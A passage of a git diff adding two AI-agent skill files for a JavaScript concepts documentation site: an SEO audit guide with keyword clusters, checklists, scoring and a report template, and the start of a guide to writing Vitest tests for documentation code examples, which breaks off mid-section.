in JavaScript | what is a closure in JavaScript | +| **How does** | how does [concept] work | how do closures work | +| **How to** | how to use/create [concept] | how to use closures | +| **Why** | why use [concept] | why use closures JavaScript | +| **Examples** | [concept] examples | closure examples JavaScript | +| **vs** | [concept] vs [related] | closures vs scope | +| **Interview** | [concept] interview questions | closure interview questions | + +### Step 2: On-Page SEO Audit + +Check all on-page SEO elements systematically. + +### Step 3: Featured Snippet Optimization + +Verify content is structured to win featured snippets. + +### Step 4: Internal Linking Audit + +Check the internal link structure. + +### Step 5: Generate Report + +Document findings using the report template. + +--- + +## Keyword Clusters by Concept + +Use these pre-built keyword clusters for each concept. + +<AccordionGroup> + <Accordion title="Call Stack"> + | Type | Keywords | + |------|----------| + | Primary | JavaScript call stack, call stack JavaScript | + | What is | what is the call stack in JavaScript | + | How does | how does the call stack work | + | Error | maximum call stack size exceeded, stack overflow JavaScript | + | Visual | call stack visualization, call stack explained | + | Interview | call stack interview questions JavaScript | + </Accordion> + + <Accordion title="Primitive Types"> + | Type | Keywords | + |------|----------| + | Primary | JavaScript primitive types, primitives in JavaScript | + | What are | what are primitive types in JavaScript | + | List | JavaScript data types, types in JavaScript | + | vs | primitives vs objects JavaScript | + | typeof | typeof JavaScript, JavaScript typeof operator | + | Interview | JavaScript types interview questions | + </Accordion> + + <Accordion title="Value vs Reference Types"> + | Type | Keywords | + |------|----------| + | Primary | JavaScript value vs reference, pass by reference JavaScript | + | What is | what is pass by value in JavaScript | + | How does | how does JavaScript pass objects | + | Comparison | value types vs reference types JavaScript | + | Copy | how to copy objects JavaScript, deep copy JavaScript | + </Accordion> + + <Accordion title="Type Coercion"> + | Type | Keywords | + |------|----------| + | Primary | JavaScript type coercion, type conversion JavaScript | + | What is | what is type coercion in JavaScript | + | How does | how does type coercion work | + | Implicit | implicit type conversion JavaScript | + | Explicit | explicit type conversion JavaScript | + | Interview | type coercion interview questions | + </Accordion> + + <Accordion title="Equality Operators"> + | Type | Keywords | + |------|----------| + | Primary | JavaScript equality, == vs === JavaScript | + | What is | what is the difference between == and === | + | Comparison | loose equality vs strict equality JavaScript | + | Best practice | when to use == vs === | + | Interview | JavaScript equality interview questions | + </Accordion> + + <Accordion title="Scope and Closures"> + | Type | Keywords | + |------|----------| + | Primary | JavaScript closures, JavaScript scope | + | What is | what is a closure in JavaScript, what is scope | + | How does | how do closures work, how does scope work | + | Types | types of scope JavaScript, lexical scope | + | Use cases | closure use cases, why use closures | + | Interview | closure interview questions JavaScript | + </Accordion> + + <Accordion title="Event Loop"> + | Type | Keywords | + |------|----------| + | Primary | JavaScript event loop, event loop JavaScript | + | What is | what is the event loop in JavaScript | + | How does | how does the event loop work | + | Visual | event loop visualization, event loop explained | + | Related | call stack event loop, task queue JavaScript | + | Interview | event loop interview questions | + </Accordion> + + <Accordion title="Promises"> + | Type | Keywords | + |------|----------| + | Primary | JavaScript Promises, Promises in JavaScript | + | What is | what is a Promise in JavaScript | + | How to | how to use Promises, how to chain Promises | + | Methods | Promise.all, Promise.race, Promise.allSettled | + | Error | Promise error handling, Promise catch | + | vs | Promises vs callbacks, Promises vs async await | + </Accordion> + + <Accordion title="async/await"> + | Type | Keywords | + |------|----------| + | Primary | JavaScript async await, async await JavaScript | + | What is | what is async await in JavaScript | + | How to | how to use async await, async await tutorial | + | Error | async await error handling, try catch async | + | vs | async await vs Promises | + | Interview | async await interview questions | + </Accordion> + + <Accordion title="this Keyword"> + | Type | Keywords | + |------|----------| + | Primary | JavaScript this keyword, this in JavaScript | + | What is | what is this in JavaScript | + | How does | how does this work in JavaScript | + | Binding | call apply bind JavaScript, this binding | + | Arrow | this in arrow functions | + | Interview | this keyword interview questions | + </Accordion> + + <Accordion title="Prototypes"> + | Type | Keywords | + |------|----------| + | Primary | JavaScript prototype, prototype chain JavaScript | + | What is | what is a prototype in JavaScript | + | How does | how does prototype inheritance work | + | Chain | prototype chain explained | + | vs | prototype vs class JavaScript | + | Interview | prototype interview questions JavaScript | + </Accordion> + + <Accordion title="DOM"> + | Type | Keywords | + |------|----------| + | Primary | JavaScript DOM, DOM manipulation JavaScript | + | What is | what is the DOM in JavaScript | + | How to | how to manipulate DOM JavaScript | + | Methods | getElementById, querySelector JavaScript | + | Events | DOM events JavaScript, event listeners | + | Performance | DOM performance, virtual DOM vs DOM | + </Accordion> + + <Accordion title="Higher-Order Functions"> + | Type | Keywords | + |------|----------| + | Primary | JavaScript higher order functions, higher order functions | + | What are | what are higher order functions | + | Examples | map filter reduce JavaScript | + | How to | how to use higher order functions | + | Interview | higher order functions interview | + </Accordion> + + <Accordion title="Recursion"> + | Type | Keywords | + |------|----------| + | Primary | JavaScript recursion, recursion in JavaScript | + | What is | what is recursion in JavaScript | + | How to | how to write recursive functions | + | Examples | recursion examples JavaScript | + | vs | recursion vs iteration JavaScript | + | Interview | recursion interview questions | + </Accordion> +</AccordionGroup> + +--- + +## Audit Checklists + +### Title Tag Checklist (4 points) + +| # | Check | Points | How to Verify | +|---|-------|--------|---------------| +| 1 | Length 50-60 characters | 1 | Count characters in `title` frontmatter | +| 2 | Primary keyword in first half | 1 | Concept name appears early | +| 3 | Ends with "in JavaScript" | 1 | Check title ending | +| 4 | Contains compelling hook | 1 | Promises value/benefit to reader | + +**Scoring:** +- 4/4: ✅ Excellent +- 3/4: ⚠️ Good, minor improvements possible +- 0-2/4: ❌ Needs significant work + +**Title Formula:** +``` +[Concept]: [What You'll Understand] in JavaScript +``` + +**Good Examples:** +| Concept | Title (with character count) | +|---------|------------------------------| +| Closures | "Closures: How Functions Remember Their Scope in JavaScript" (58 chars) | +| Event Loop | "Event Loop: How Async Code Actually Runs in JavaScript" (54 chars) | +| Promises | "Promises: Handling Async Operations in JavaScript" (49 chars) | +| DOM | "DOM: How Browsers Represent Web Pages in JavaScript" (51 chars) | + +**Bad Examples:** +| Issue | Bad Title | Better Title | +|-------|-----------|--------------| +| Too short | "Closures" | "Closures: How Functions Remember Their Scope in JavaScript" | +| Too long | "Understanding JavaScript Closures and How They Work with Examples" (66 chars) | "Closures: How Functions Remember Their Scope in JavaScript" (58 chars) | +| No hook | "JavaScript Closures" | "Closures: How Functions Remember Their Scope in JavaScript" | +| Missing "JavaScript" | "Understanding Closures and Scope" | Add "in JavaScript" at end | + +--- + +### Meta Description Checklist (4 points) + +| # | Check | Points | How to Verify | +|---|-------|--------|---------------| +| 1 | Length 150-160 characters | 1 | Count characters in `description` frontmatter | +| 2 | Starts with action word | 1 | "Learn", "Understand", "Discover" (NOT "Master") | +| 3 | Contains primary keyword | 1 | Concept name + "JavaScript" present | +| 4 | Promises specific value | 1 | Lists what reader will learn | + +**Description Formula:** +``` +[Action word] [what it is] in JavaScript. [Specific things they'll learn]: [topic 1], [topic 2], and [topic 3]. +``` + +**Good Examples:** + +| Concept | Description | +|---------|-------------| +| Closures | "Learn JavaScript closures and how functions remember their scope. Covers lexical scoping, practical use cases, memory considerations, and common closure patterns." (159 chars) | +| Event Loop | "Discover how the JavaScript event loop manages async code execution. Understand the call stack, task queue, microtasks, and why JavaScript is single-threaded but non-blocking." (176 chars - trim!) | +| DOM | "Learn how the DOM works in JavaScript. Understand how browsers represent HTML as a tree, select and manipulate elements, traverse nodes, and optimize rendering." (162 chars) | + +**Bad Examples:** + +| Issue | Bad Description | Fix | +|-------|-----------------|-----| +| Too short | "Learn about closures" | Expand to 150-160 chars with specifics | +| Starts with "Master" | "Master JavaScript closures..." | "Learn JavaScript closures..." | +| Too vague | "A guide to closures" | List specific topics covered | +| Missing keyword | "Functions can remember things" | Include "closures" and "JavaScript" | + +--- + +### Keyword Placement Checklist (5 points) + +| # | Check | Points | How to Verify | +|---|-------|--------|---------------| +| 1 | Primary keyword in title | 1 | Check frontmatter `title` | +| 2 | Primary keyword in meta description | 1 | Check frontmatter `description` | +| 3 | Primary keyword in first 100 words | 1 | Check opening paragraphs | +| 4 | Keyword in at least one H2 heading | 1 | Scan all `##` headings | +| 5 | No keyword stuffing | 1 | Content reads naturally | + +**Keyword Placement Map:** + +``` +┌─────────────────────────────────────────────────────────────────────────┐ +│ KEYWORD PLACEMENT │ +├─────────────────────────────────────────────────────────────────────────┤ +│ │ +│ 🔴 CRITICAL (Must have keyword) │ +│ ───────────────────────────────── │ +│ • title frontmatter │ +│ • description frontmatter │ +│ • First paragraph (within 100 words) │ +│ • At least one H2 heading │ +│ │ +│ 🟡 RECOMMENDED (Include naturally) │ +│ ────────────────────────────────── │ +│ • "What you'll learn" Info box │ +│ • H3 subheadings │ +│ • Key Takeaways section │ +│ • First sentence after major H2s │ +│ │ +│ ⚠️ AVOID │ +│ ───────── │ +│ • Same phrase >4 times per 1000 words │ +│ • Forcing keywords where pronouns work better │ +│ • Awkward sentence structures to fit keywords │ +│ │ +└─────────────────────────────────────────────────────────────────────────┘ +``` + +--- + +### Content Structure Checklist (6 points) + +| # | Check | Points | How to Verify | +|---|-------|--------|---------------| +| 1 | Opens with question hook | 1 | First paragraph asks engaging question | +| 2 | Code example in first 200 words | 1 | Simple example appears early | +| 3 | "What you'll learn" Info box | 1 | `<Info>` component after opening | +| 4 | Short paragraphs (2-4 sentences) | 1 | Scan content for long blocks | +| 5 | 1,500+ words | 1 | Word count check | +| 6 | Key terms bolded on first mention | 1 | Important terms use `**bold**` | + +**Content Structure Template:** + +``` +┌─────────────────────────────────────────────────────────────────────────┐ +│ IDEAL PAGE STRUCTURE │ +├─────────────────────────────────────────────────────────────────────────┤ +│ │ +│ 1. QUESTION HOOK (First 50 words) │ +│ "How does JavaScript...? Why do...?" │ +│ │ +│ 2. BRIEF ANSWER + CODE EXAMPLE (Words 50-200) │ +│ Quick explanation + simple code demo │ +│ │ +│ 3. "WHAT YOU'LL LEARN" INFO BOX │ +│ 5-7 bullet points │ +│ │ +│ 4. PREREQUISITES WARNING (if applicable) │ +│ Link to required prior concepts │ +│ │ +│ 5. MAIN CONTENT SECTIONS (H2s) │ +│ Each H2 answers a question or teaches a concept │ +│ Include code examples, diagrams, tables │ +│ │ +│ 6. COMMON MISTAKES / GOTCHAS SECTION │ +│ What trips people up │ +│ │ +│ 7. KEY TAKEAWAYS │ +│ 8-10 numbered points summarizing everything │ +│ │ +│ 8. TEST YOUR KNOWLEDGE │ +│ 5-6 Q&A accordions │ +│ │ +│ 9. RELATED CONCEPTS │ +│ 4 cards linking to related topics │ +│ │ +│ 10. RESOURCES (Reference, Articles, Videos) │ +│ MDN links, curated articles, videos │ +│ │ +└─────────────────────────────────────────────────────────────────────────┘ +``` + +--- + +### Featured Snippet Checklist (4 points) + +| # | Check | Points | How to Verify | +|---|-------|--------|---------------| +| 1 | "What is X" has 40-60 word definition | 1 | Count words in first paragraph after "What is" H2 | +| 2 | At least one H2 is phrased as question | 1 | Check for "What is", "How does", "Why" H2s | +| 3 | Numbered steps for "How to" content | 1 | Uses `<Steps>` component or numbered list | +| 4 | Comparison tables (if applicable) | 1 | Tables for "X vs Y" content | + +**Featured Snippet Patterns:** + +``` +┌─────────────────────────────────────────────────────────────────────────┐ +│ FEATURED SNIPPET FORMATS │ +├─────────────────────────────────────────────────────────────────────────┤ +│ │ +│ QUERY TYPE WINNING FORMAT YOUR CONTENT │ +│ ─────────── ────────────── ──────────── │ +│ │ +│ "What is X" Paragraph 40-60 word definition │ +│ after H2, bold keyword │ +│ │ +│ "How to X" Numbered list <Steps> component or │ +│ 1. 2. 3. markdown │ +│ │ +│ "X vs Y" Table | Feature | X | Y | │ +│ comparison table │ +│ │ +│ "Types of X" Bullet list - **Type 1** — desc │ +│ - **Type 2** — desc │ +│ │ +│ "[X] examples" Code block ```javascript │ +│ + explanation // example code │ +│ │ +└─────────────────────────────────────────────────────────────────────────┘ +``` + +**Definition Paragraph Example (40-60 words):** + +```markdown +## What is a Closure in JavaScript? + +A **closure** is a function that retains access to variables from its outer +(enclosing) scope, even after that outer function has finished executing. +Closures are created every time a function is created in JavaScript, allowing +inner functions to "remember" and access their lexical environment. +``` + +(This is 52 words - perfect for a featured snippet) + +--- + +### Internal Linking Checklist (4 points) + +| # | Check | Points | How to Verify | +|---|-------|--------|---------------| +| 1 | 3-5 related concepts linked in body | 1 | Count `/concepts/` links in prose | +| 2 | Descriptive anchor text | 1 | No "click here", "here", "this" | +| 3 | Prerequisites in Warning box | 1 | `<Warning>` with links at start | +| 4 | Related Concepts section has 4 cards | 1 | `<CardGroup>` at end with 4 Cards | + +**Good Anchor Text:** + +| ❌ Bad | ✓ Good | +|--------|--------| +| "click here" | "event loop concept" | +| "here" | "JavaScript closures" | +| "this article" | "our Promises guide" | +| "read more" | "understanding the call stack" | + +**Link Placement Strategy:** + +```markdown +<!-- In Prerequisites (Warning box) --> +<Warning> +**Prerequisite:** This guide assumes you understand [Promises](/concepts/promises) +and the [Event Loop](/concepts/event-loop). Read those first if needed. +</Warning> + +<!-- In Body Content (natural context) --> +When the callback finishes, it's added to the task queue — managed by +the [event loop](/concepts/event-loop). + +<!-- In Related Concepts Section --> +<CardGroup cols={2}> + <Card title="Promises" icon="handshake" href="/concepts/promises"> + async/await is built on top of Promises + </Card> +</CardGroup> +``` + +--- + +### Technical SEO Checklist (3 points) + +| # | Check | Points | How to Verify | +|---|-------|--------|---------------| +| 1 | Single H1 per page | 1 | Only one `#` heading (the title) | +| 2 | URL slug contains keyword | 1 | `/concepts/closures` not `/concepts/topic-1` | +| 3 | No orphan pages | 1 | Page is linked from at least one other page | + +**H1 Rule:** + +Every page should have exactly ONE H1 (your main title). This is critical for SEO: +- The H1 tells Google what the page is about +- Multiple H1s confuse search engines about page hierarchy +- All other headings should be H2 (`##`) and below +- The H1 should contain your primary keyword + +```markdown +# Closures in JavaScript ← This is your H1 (only one!) + +## What is a Closure? ← H2 for sections +### Lexical Scope ← H3 for subsections +## How Closures Work ← Another H2 +``` + +**URL/Slug Best Practices:** + +| ✅ Good | ❌ Bad | +|---------|--------| +| `/concepts/closures` | `/concepts/c1` | +| `/concepts/event-loop` | `/concepts/topic-7` | +| `/concepts/type-coercion` | `/concepts/abc123` | +| `/concepts/async-await` | `/concepts/async_await` | + +Rules for slugs: +- **Include primary keyword** — The concept name should be in the URL +- **Use hyphens, not underscores** — `event-loop` not `event_loop` +- **Keep slugs short and readable** — Under 50 characters +- **No UUIDs, database IDs, or random strings** +- **Lowercase only** — `/concepts/Event-Loop` should be `/concepts/event-loop` + +**Orphan Page Detection:** + +An orphan page has no internal links pointing to it from other pages. This hurts SEO because: +- Google may not discover or crawl it frequently +- It signals the page isn't important to your site structure +- Users can't navigate to it naturally +- Link equity doesn't flow to the page + +**How to check for orphan pages:** +1. Search the codebase for links to this concept: `grep -r "/concepts/[slug]" docs/` +2. Verify it appears in at least one other concept's "Related Concepts" section +3. Check that pages listing it as a prerequisite link back appropriately +4. Ensure it's included in the navigation (`docs.json`) + +**Fixing orphan pages:** +- Add the concept to related pages' "Related Concepts" CardGroup +- Link to it naturally in body content of related concepts +- Ensure bidirectional linking (if A links to B, B should link back to A where relevant) + +--- + +## Scoring System + +### Total Points Available: 30 + +| Category | Max Points | +|----------|------------| +| Title Tag | 4 | +| Meta Description | 4 | +| Keyword Placement | 5 | +| Content Structure | 6 | +| Featured Snippets | 4 | +| Internal Linking | 4 | +| Technical SEO | 3 | +| **Total** | **30** | + +### Score Interpretation + +| Score | Percentage | Status | Action | +|-------|------------|--------|--------| +| 27-30 | 90-100% | ✅ Excellent | Ready to publish | +| 23-26 | 75-89% | ⚠️ Good | Minor optimizations needed | +| 17-22 | 55-74% | ⚠️ Fair | Several improvements needed | +| 0-16 | <55% | ❌ Poor | Significant work required | + +--- + +## Common SEO Issues and Fixes + +### Title Tag Issues + +| Issue | Current | Fix | +|-------|---------|-----| +| Too short (<50 chars) | "Closures" (8) | "Closures: How Functions Remember Their Scope in JavaScript" (58) | +| Too long (>60 chars) | "Understanding JavaScript Closures and How They Work with Examples" (66) | "Closures: How Functions Remember Their Scope in JavaScript" (58) | +| Missing keyword | "Understanding Scope" | Add concept name: "Closures: Understanding Scope in JavaScript" | +| No hook | "JavaScript Closures" | Add benefit: "Closures: How Functions Remember Their Scope in JavaScript" | +| Missing "JavaScript" | "Closures Explained" | Add at end: "Closures Explained in JavaScript" | + +### Meta Description Issues + +| Issue | Current | Fix | +|-------|---------|-----| +| Too short (<120 chars) | "Learn about closures" (20) | Expand with specifics to 150-160 chars | +| Too long (>160 chars) | [Gets truncated] | Edit ruthlessly, keep key information | +| Starts with "Master" | "Master JavaScript closures..." | "Learn JavaScript closures..." | +| No keyword | "Functions that remember" | Include "closures" and "JavaScript" | +| Too vague | "A guide to closures" | List specific topics: "Covers X, Y, and Z" | + +### Content Structure Issues + +| Issue | Fix | +|-------|-----| +| No question hook | Start with "How does...?" or "Why...?" | +| Code example too late | Move simple example to first 200 words | +| Missing Info box | Add `<Info>` with "What you'll learn" | +| Long paragraphs | Break into 2-4 sentence chunks | +| Under 1,500 words | Add more depth, examples, edge cases | +| No bolded terms | Bold key concepts on first mention | + +### Featured Snippet Issues + +| Issue | Fix | +|-------|-----| +| No "What is" definition | Add 40-60 word definition paragraph | +| Definition too long | Tighten to 40-60 words | +| No question H2s | Add "What is X?" or "How does X work?" H2 | +| Steps not numbered | Use `<Steps>` or numbered markdown | +| No comparison tables | Add table for "X vs Y" sections | + +### Internal Linking Issues + +| Issue | Fix | +|-------|-----| +| No internal links | Add 3-5 links to related concepts | +| Bad anchor text | Replace "click here" with descriptive text | +| No prerequisites | Add `<Warning>` with prerequisite links | +| Empty Related Concepts | Add 4 Cards linking to related topics | + +### Technical SEO Issues + +| Issue | Fix | +|-------|-----| +| Multiple H1 tags | Keep only one `#` heading (the title), use `##` for all sections | +| Slug missing keyword | Rename file to include concept name (e.g., `closures.mdx`) | +| Orphan page | Add links from related concept pages' body or Related Concepts section | +| Underscore in slug | Use hyphens: `event-loop.mdx` not `event_loop.mdx` | +| Uppercase in slug | Use lowercase only: `async-await.mdx` not `Async-Await.mdx` | +| Slug too long | Shorten to primary keyword: `closures.mdx` not `understanding-javascript-closures-and-scope.mdx` | + +--- + +## SEO Audit Report Template + +Use this template to document your findings. + +```markdown +# SEO Audit Report: [Concept Name] + +**File:** `/docs/concepts/[slug].mdx` +**Date:** YYYY-MM-DD +**Auditor:** [Name/Claude] +**Overall Score:** XX/30 (XX%) +**Status:** ✅ Excellent | ⚠️ Needs Work | ❌ Poor + +--- + +## Score Summary + +| Category | Score | Status | +|----------|-------|--------| +| Title Tag | X/4 | ✅/⚠️/❌ | +| Meta Description | X/4 | ✅/⚠️/❌ | +| Keyword Placement | X/5 | ✅/⚠️/❌ | +| Content Structure | X/6 | ✅/⚠️/❌ | +| Featured Snippets | X/4 | ✅/⚠️/❌ | +| Internal Linking | X/4 | ✅/⚠️/❌ | +| Technical SEO | X/3 | ✅/⚠️/❌ | +| **Total** | **X/30** | **STATUS** | + +--- + +## Target Keywords + +**Primary Keyword:** [e.g., "JavaScript closures"] +**Secondary Keywords:** +- [keyword 1] +- [keyword 2] +- [keyword 3] + +**Search Intent:** Informational / How-to / Comparison + +--- + +## Title Tag Analysis + +**Current Title:** "[current title from frontmatter]" +**Character Count:** XX characters +**Score:** X/4 + +| Check | Status | Notes | +|-------|--------|-------| +| Length 50-60 chars | ✅/❌ | XX characters | +| Primary keyword in first half | ✅/❌ | [notes] | +| Ends with "in JavaScript" | ✅/❌ | [notes] | +| Contains compelling hook | ✅/❌ | [notes] | + +**Issues Found:** [if any] + +**Recommended Title:** "[suggested title]" (XX chars) + +--- + +## Meta Description Analysis + +**Current Description:** "[current description from frontmatter]" +**Character Count:** XX characters +**Score:** X/4 + +| Check | Status | Notes | +|-------|--------|-------| +| Length 150-160 chars | ✅/❌ | XX characters | +| Starts with action word | ✅/❌ | Starts with "[word]" | +| Contains primary keyword | ✅/❌ | [notes] | +| Promises specific value | ✅/❌ | [notes] | + +**Issues Found:** [if any] + +**Recommended Description:** "[suggested description]" (XX chars) + +--- + +## Keyword Placement Analysis + +**Score:** X/5 + +| Location | Present | Notes | +|----------|---------|-------| +| Title | ✅/❌ | [notes] | +| Meta description | ✅/❌ | [notes] | +| First 100 words | ✅/❌ | Found at word XX | +| H2 heading | ✅/❌ | Found in: "[H2 text]" | +| Natural reading | ✅/❌ | [no stuffing / stuffing detected] | + +**Missing Keyword Placements:** +- [ ] [Location where keyword should be added] + +--- + +## Content Structure Analysis + +**Word Count:** X,XXX words +**Score:** X/6 + +| Check | Status | Notes | +|-------|--------|-------| +| Question hook opening | ✅/❌ | [notes] | +| Code in first 200 words | ✅/❌ | Code appears at word XX | +| "What you'll learn" box | ✅/❌ | [present/missing] | +| Short paragraphs | ✅/❌ | [notes on paragraph length] | +| 1,500+ words | ✅/❌ | X,XXX words | +| Bolded key terms | ✅/❌ | [notes] | + +**Structure Issues:** +- [ ] [Issue and recommendation] + +--- + +## Featured Snippet Analysis + +**Score:** X/4 + +| Check | Status | Notes | +|-------|--------|-------| +| 40-60 word definition | ✅/❌ | Currently XX words | +| Question-format H2 | ✅/❌ | Found: "[H2]" / Not found | +| Numbered steps | ✅/❌ | [notes] | +| Comparison tables | ✅/❌/N/A | [notes] | + +**Snippet Opportunities:** + +1. **"What is [concept]" snippet:** + - Current definition: XX words + - Action: [Expand to/Trim to] 40-60 words + +2. **"How to [action]" snippet:** + - Action: [Add Steps component / Already present] + +--- + +## Internal Linking Analysis + +**Score:** X/4 + +| Check | Status | Notes | +|-------|--------|-------| +| 3-5 internal links in body | ✅/❌ | Found X links | +| Descriptive anchor text | ✅/❌ | [notes] | +| Prerequisites in Warning | ✅/❌ | [present/missing] | +| Related Concepts section | ✅/❌ | X cards present | + +**Current Internal Links:** +1. [Anchor text] → `/concepts/[slug]` +2. [Anchor text] → `/concepts/[slug]` + +**Recommended Links to Add:** +- Link to [concept] in [section/context] +- Link to [concept] in [section/context] + +**Bad Anchor Text Found:** +- Line XX: "click here" → change to "[descriptive text]" + +--- + +## Technical SEO Analysis + +**Score:** X/3 + +| Check | Status | Notes | +|-------|--------|-------| +| Single H1 per page | ✅/❌ | [Found X H1 tags] | +| URL slug contains keyword | ✅/❌ | Current: `/concepts/[slug]` | +| Not an orphan page | ✅/❌ | Linked from X other pages | + +**H1 Tags Found:** +- Line XX: `# [H1 text]` ← Should be the only one +- [List any additional H1s that need to be changed to H2] + +**Slug Analysis:** +- Current slug: `[slug].mdx` +- Contains keyword: ✅/❌ +- Format correct: ✅/❌ (lowercase, hyphens, no special chars) + +**Incoming Links Found:** +1. `/concepts/[other-concept]` → Links to this page in [section] +2. `/concepts/[other-concept]` → Links in Related Concepts + +**If orphan page, add links from:** +- [Suggested concept page] in [section] +- [Suggested concept page] in Related Concepts + +--- + +## Priority Fixes + +### High Priority (Do First) + +1. **[Issue]** + - Current: [what it is now] + - Recommended: [what it should be] + - Impact: [why this matters] + +2. **[Issue]** + - Current: [what it is now] + - Recommended: [what it should be] + - Impact: [why this matters] + +### Medium Priority + +1. **[Issue]** + - Recommendation: [fix] + +### Low Priority (Nice to Have) + +1. **[Issue]** + - Recommendation: [fix] + +--- + +## Competitive Analysis (Optional) + +**Top-Ranking Pages for "[primary keyword]":** + +1. **[Competitor 1 - URL]** + - What they do well: [observation] + - Word count: ~X,XXX + +2. **[Competitor 2 - URL]** + - What they do well: [observation] + - Word count: ~X,XXX + +**Our Advantages:** +- [What we do better] + +**Gaps to Fill:** +- [What we're missing that competitors have] + +--- + +## Implementation Checklist + +After making fixes, verify: + +- [ ] Title is 50-60 characters with keyword and hook +- [ ] Description is 150-160 characters with action word and value +- [ ] Primary keyword in title, description, first 100 words, and H2 +- [ ] Opens with question hook +- [ ] Code example in first 200 words +- [ ] "What you'll learn" Info box present +- [ ] Paragraphs are 2-4 sentences +- [ ] 1,500+ words total +- [ ] Key terms bolded on first mention +- [ ] 40-60 word definition for featured snippet +- [ ] At least one question-format H2 +- [ ] 3-5 internal links with descriptive anchor text +- [ ] Prerequisites in Warning box (if applicable) +- [ ] Related Concepts section has 4 cards +- [ ] Single H1 per page (title only) +- [ ] URL slug contains primary keyword +- [ ] Page linked from at least one other concept page +- [ ] All fixes implemented and verified + +--- + +## Final Recommendation + +**Ready to Publish:** ✅ Yes / ❌ No - [reason] + +**Next Review Date:** [When to re-audit, e.g., "3 months" or "after major update"] +``` + +--- + +## Quick Reference + +### Character Counts + +| Element | Ideal Length | +|---------|--------------| +| Title | 50-60 characters | +| Meta Description | 150-160 characters | +| Definition paragraph | 40-60 words | + +### Keyword Density + +- Don't exceed 3-4 mentions of exact phrase per 1,000 words +- Use variations naturally (e.g., "closures", "closure", "JavaScript closures") + +### Content Length + +| Length | Assessment | +|--------|------------| +| <1,000 words | Too thin - add depth | +| 1,000-1,500 | Minimum viable | +| 1,500-2,500 | Good | +| 2,500-4,000 | Excellent | +| >4,000 | Consider splitting | + +--- + +## Summary + +When auditing a concept page for SEO: + +1. **Identify target keywords** using the keyword cluster for that concept +2. **Check title tag** — 50-60 chars, keyword first, hook, ends with "JavaScript" +3. **Check meta description** — 150-160 chars, action word, keyword, specific value +4. **Verify keyword placement** — Title, description, first 100 words, H2 +5. **Audit content structure** — Question hook, early code, Info box, short paragraphs +6. **Optimize for featured snippets** — 40-60 word definitions, numbered steps, tables +7. **Check internal linking** — 3-5 links, good anchors, Related Concepts section +8. **Generate report** — Document score, issues, and prioritized fixes + +**Remember:** SEO isn't about gaming search engines — it's about making content easy to find for developers who need it. Every optimization should also improve the reader experience. diff --git a/.opencode/skill/test-writer/SKILL.md b/.opencode/skill/test-writer/SKILL.md new file mode 100644 index 00000000..b08c3935 --- /dev/null +++ b/.opencode/skill/test-writer/SKILL.md @@ -0,0 +1,940 @@ +--- +name: test-writer +description: Generate comprehensive Vitest tests for code examples in JavaScript concept documentation pages, following project conventions and referencing source lines +--- + +# Skill: Test Writer for Concept Pages + +Use this skill to generate comprehensive Vitest tests for all code examples in a concept documentation page. Tests verify that code examples in the documentation are accurate and work as described. + +## When to Use + +- After writing a new concept page +- When adding new code examples to existing pages +- When updating existing code examples +- To verify documentation accuracy through automated tests +- Before publishing to ensure all examples work correctly + +## Test Writing Methodology + +Follow these four phases to create comprehensive tests for a concept page. + +### Phase 1: Code Example Extraction + +Scan the concept page for all code examples and categorize them: + +| Category | Characteristics | Action | +|----------|-----------------|--------| +| **Testable** | Has `console.log` with output comments, returns values | Write tests | +| **DOM-specific** | Uses `document`, `window`, DOM APIs, event handlers | Write DOM tests (separate file) | +| **Error examples** | Intentionally throws errors, demonstrates failures | Write tests with `toThrow` | +| **Conceptual** | ASCII diagrams, pseudo-code, incomplete snippets | Skip (document why) | +| **Browser-only** | Uses browser APIs not available in jsdom | Skip or mock | + +### Phase 2: Determine Test File Structure + +``` +tests/ +├── fundamentals/ # Concepts 1-6 +├── functions-execution/ # Concepts 7-8 +├── web-platform/ # Concepts 9-10 +├── object-oriented/ # Concepts 11-15 +├── functional-programming/ # Concepts 16-19 +├── async-javascript/ # Concepts 20-22 +├── advanced-topics/ # Concepts 23-31 +└── beyond/ # Extended concepts + └── {subcategory}/ +``` + +**File naming:** +- Standard tests: `{concept-name}.test.js` +- DOM tests: `{concept-name}.dom.test.js` + +### Phase 3: Convert Examples to Tests + +For each testable code example: + +1. Identify the expected output (from `console.log` comments or documented behavior) +2. Convert to `expect` assertions +3. Add source line reference in comments +4. Group related tests in `describe` blocks matching documentation sections + +### Phase 4: Handle Special Cases + +| Case | Solution | +|------|----------| +| Browser-only APIs | Use jsdom environment or skip with note | +| Timing-dependent code | Use `vi.useFakeTimers()` or test the logic, not timing | +| Side effects | Capture output or test mutations | +| Intentional errors | Use `expect(() => {...}).toThrow()` | +| Async code | Use `async/await` with proper assertions | + +--- + +## Project Test Conventions + +### Import Pattern + +```javascript +import { describe, it, expect } from 'vitest' +``` + +For DOM tests or tests needing mocks: + +```javascript +import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' +``` + +### DOM Test File Header + +```javascript +/** + * @vitest-environment jsdom + */ +import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' +``` + +### Describe Block Organization + +Match the structure of the documentation: + +```javascript +describe('Concept Name', () => { + describe('Section from Documentation', () => { + describe('Subsection if needed', () => { + it('should [specific behavior]', () => { + // Test + }) + }) + }) +}) +``` + +### Test Naming Convention + +- Start with "should" +- Be descriptive and specific +- Match the documented behavior + +```javascript +// Good +it('should return "object" for typeof null', () => {}) +it('should throw TypeError when accessing property of undefined', () => {}) +it('should resolve promises in order they were created', () => {}) + +// Bad +it('test typeof', () => {}) +it('works correctly', () => {}) +it('null test', () => {}) +``` + +### Source Line References + +Always reference the documentation source: + +```javascript +// ============================================================ +// SECTION NAME FROM DOCUMENTATION +// From {concept}.mdx lines XX-YY +// ============================================================ + +describe('Section Name', () => { + // From lines 45-52: Basic typeof examples + it('should return correct type strings', () => { + // Test + }) +}) +``` + +--- + +## Test Patterns Reference + +### Pattern 1: Basic Value Assertion + +**Documentation:** +```javascript +console.log(typeof "hello") // "string" +console.log(typeof 42) // "number" +``` + +**Test:** +```javascript +// From lines XX-YY: typeof examples +it('should return correct type for primitives', () => { + expect(typeof "hello").toBe("string") + expect(typeof 42).toBe("number") +}) +``` + +--- + +### Pattern 2: Multiple Related Assertions + +**Documentation:** +```javascript +let a = "hello" +let b = "hello" +console.log(a === b) // true + +let obj1 = { x: 1 } +let obj2 = { x: 1 } +console.log(obj1 === obj2) // false +``` + +**Test:** +```javascript +// From lines XX-YY: Primitive vs object comparison +it('should compare primitives by value', () => { + let a = "hello" + let b = "hello" + expect(a === b).toBe(true) +}) + +it('should compare objects by reference', () => { + let obj1 = { x: 1 } + let obj2 = { x: 1 } + expect(obj1 === obj2).toBe(false) +}) +``` + +--- + +### Pattern 3: Function 